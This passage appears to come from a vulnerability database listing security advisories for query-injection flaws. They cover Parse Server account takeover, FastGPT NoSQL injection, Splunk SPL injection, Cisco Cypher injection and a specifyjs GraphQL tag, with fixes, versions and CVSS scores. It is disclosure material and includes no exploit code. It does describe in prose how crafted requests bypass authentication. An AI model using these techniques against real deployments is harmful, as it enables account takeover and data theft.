"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:00:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Finding\n\n**Location**: `core/src/client/graphql.ts:66-80`\n\nThe `gql` template tag function warned about interpolated values containing GraphQL metacharacters (`{}():`) but still concatenated them into the query string, enabling potential GraphQL injection.\n\n## Status\n\n**Fixed in v0.2.136** \u2014 The `gql` function now throws an error when metacharacters are detected in interpolated values, forcing developers to use the `variables` parameter.",
"id": "GHSA-5c7w-4wm3-85vw",
"modified": "2026-07-02T19:00:12Z",
"published": "2026-07-02T19:00:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/asymmetric-effort/specifyjs/security/advisories/GHSA-5c7w-4wm3-85vw"
},
{
"type": "WEB",
"url": "https://github.com/asymmetric-effort/specifyjs/commit/25d1fb491d99479efdf501f5f75e0bb80c908f0a"
},
{
"type": "PACKAGE",
"url": "https://github.com/asymmetric-effort/specifyjs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@asymmetric-effort/specifyjs: GraphQL gql tag allows metacharacter injection"
}
GHSA-5FW2-8JCV-XH87
Vulnerability from github – Published: 2026-03-12 17:29 – Updated: 2026-03-13 13:36Impact
An unauthenticated attacker can take over any user account that was created with an authentication provider that does not validate the format of the user identifier (e.g. anonymous authentication). By sending a crafted login request, the attacker can cause the server to perform a pattern-matching query instead of an exact-match lookup, allowing the attacker to match an existing user and obtain a valid session token for that user's account. Both MongoDB and PostgreSQL database backends are affected. Any Parse Server deployment that allows anonymous authentication (enabled by default) is vulnerable.
Patches
The fix enforces that the user identifier in authentication data is a string before using it in a database query. Non-string values are rejected with a validation error.
Workarounds
There is no known workaround.
References
- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.38
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.6.0-alpha.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.38"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32248"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T17:29:55Z",
"nvd_published_at": "2026-03-12T20:16:05Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nAn unauthenticated attacker can take over any user account that was created with an authentication provider that does not validate the format of the user identifier (e.g. anonymous authentication). By sending a crafted login request, the attacker can cause the server to perform a pattern-matching query instead of an exact-match lookup, allowing the attacker to match an existing user and obtain a valid session token for that user\u0027s account. Both MongoDB and PostgreSQL database backends are affected. Any Parse Server deployment that allows anonymous authentication (enabled by default) is vulnerable.\n\n### Patches\n\nThe fix enforces that the user identifier in authentication data is a string before using it in a database query. Non-string values are rejected with a validation error.\n\n### Workarounds\n\nThere is no known workaround.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.38",
"id": "GHSA-5fw2-8jcv-xh87",
"modified": "2026-03-13T13:36:15Z",
"published": "2026-03-12T17:29:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-5fw2-8jcv-xh87"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32248"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/8.6.38"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/9.6.0-alpha.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server: Account takeover via operator injection in authentication data identifier"
}
GHSA-5PH8-357J-4HX6
Vulnerability from github – Published: 2026-08-31 21:32 – Updated: 2026-09-01 15:31FastGPT Community Edition 4.10.0 through 4.14.0 are vulnerable to a NoSQL injection in the POST /api/core/chat/getHistories endpoint. An unauthenticated attacker can inject malicious NoSQL operators via crafted JSON payloads to bypass authorization checks, resulting in unauthorized access to chat history titles of all users across the platform.
{
"affected": [],
"aliases": [
"CVE-2026-79483"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-31T21:17:49Z",
"severity": "MODERATE"
},
"details": "FastGPT Community Edition 4.10.0 through 4.14.0 are vulnerable to a NoSQL injection in the POST /api/core/chat/getHistories endpoint. An unauthenticated attacker can inject malicious NoSQL operators via crafted JSON payloads to bypass authorization checks, resulting in unauthorized access to chat history titles of all users across the platform.",
"id": "GHSA-5ph8-357j-4hx6",
"modified": "2026-09-01T15:31:01Z",
"published": "2026-08-31T21:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79483"
},
{
"type": "WEB",
"url": "https://github.com/ExploreIO/CVE-2026-79483-FastGPT-NoSQL-Injection"
},
{
"type": "WEB",
"url": "https://github.com/labring/FastGPT"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5RXF-5C27-G6HP
Vulnerability from github – Published: 2026-08-20 00:34 – Updated: 2026-08-20 00:34In Splunk Enterprise versions below 10.4.1, 10.2.5, 10.0.9, and 9.4.14, an unauthenticated user who can reach the Splunk management port could store a Search Processing Language (SPL) pipeline that runs when an administrator opens the Add Data forwarder workflow. The SPL pipeline could access all relevant data, affect system integrity, and affect availability of the Splunk platform instance. The SPL injection is possible because Deployment Server client identifiers are placed into dispatched searches without neutralizing special characters. Successful exploitation requires an administrator to open the affected Add Data forwarder workflow after the unauthenticated user registers a crafted Deployment Server client identity. For more information see Forward data (https://help.splunk.com/en/splunk-enterprise/get-started/get-data-in/10.2/how-to-get-data-into-your-splunk-deployment/forward-data) and About agent management (https://help.splunk.com/en/splunk-enterprise/administer/update-your-deployment/10.4/agent-management/about-agent-management) in the Splunk documentation.
{
"affected": [],
"aliases": [
"CVE-2026-76316"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T22:17:15Z",
"severity": "HIGH"
},
"details": "In Splunk Enterprise versions below 10.4.1, 10.2.5, 10.0.9, and 9.4.14, an unauthenticated user who can reach the Splunk management port could store a Search Processing Language (SPL) pipeline that runs when an administrator opens the Add Data forwarder workflow. The SPL pipeline could access all relevant data, affect system integrity, and affect availability of the Splunk platform instance. The SPL injection is possible because Deployment Server client identifiers are placed into dispatched searches without neutralizing special characters. Successful exploitation requires an administrator to open the affected Add Data forwarder workflow after the unauthenticated user registers a crafted Deployment Server client identity. For more information see Forward data (https://help.splunk.com/en/splunk-enterprise/get-started/get-data-in/10.2/how-to-get-data-into-your-splunk-deployment/forward-data) and About agent management (https://help.splunk.com/en/splunk-enterprise/administer/update-your-deployment/10.4/agent-management/about-agent-management) in the Splunk documentation.",
"id": "GHSA-5rxf-5c27-g6hp",
"modified": "2026-08-20T00:34:56Z",
"published": "2026-08-20T00:34:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76316"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0801"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6FJ3-23HJ-67PW
Vulnerability from github – Published: 2024-11-15 18:30 – Updated: 2024-11-15 18:30A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system. This vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-1481"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-15T17:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco\u0026nbsp;SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system.\nThis vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.Cisco\u0026nbsp;has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.",
"id": "GHSA-6fj3-23hj-67pw",
"modified": "2024-11-15T18:30:51Z",
"published": "2024-11-15T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1481"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vman-auth-bypass-Z3Zze5XC"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-cql-inject-c7z9QqyB"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.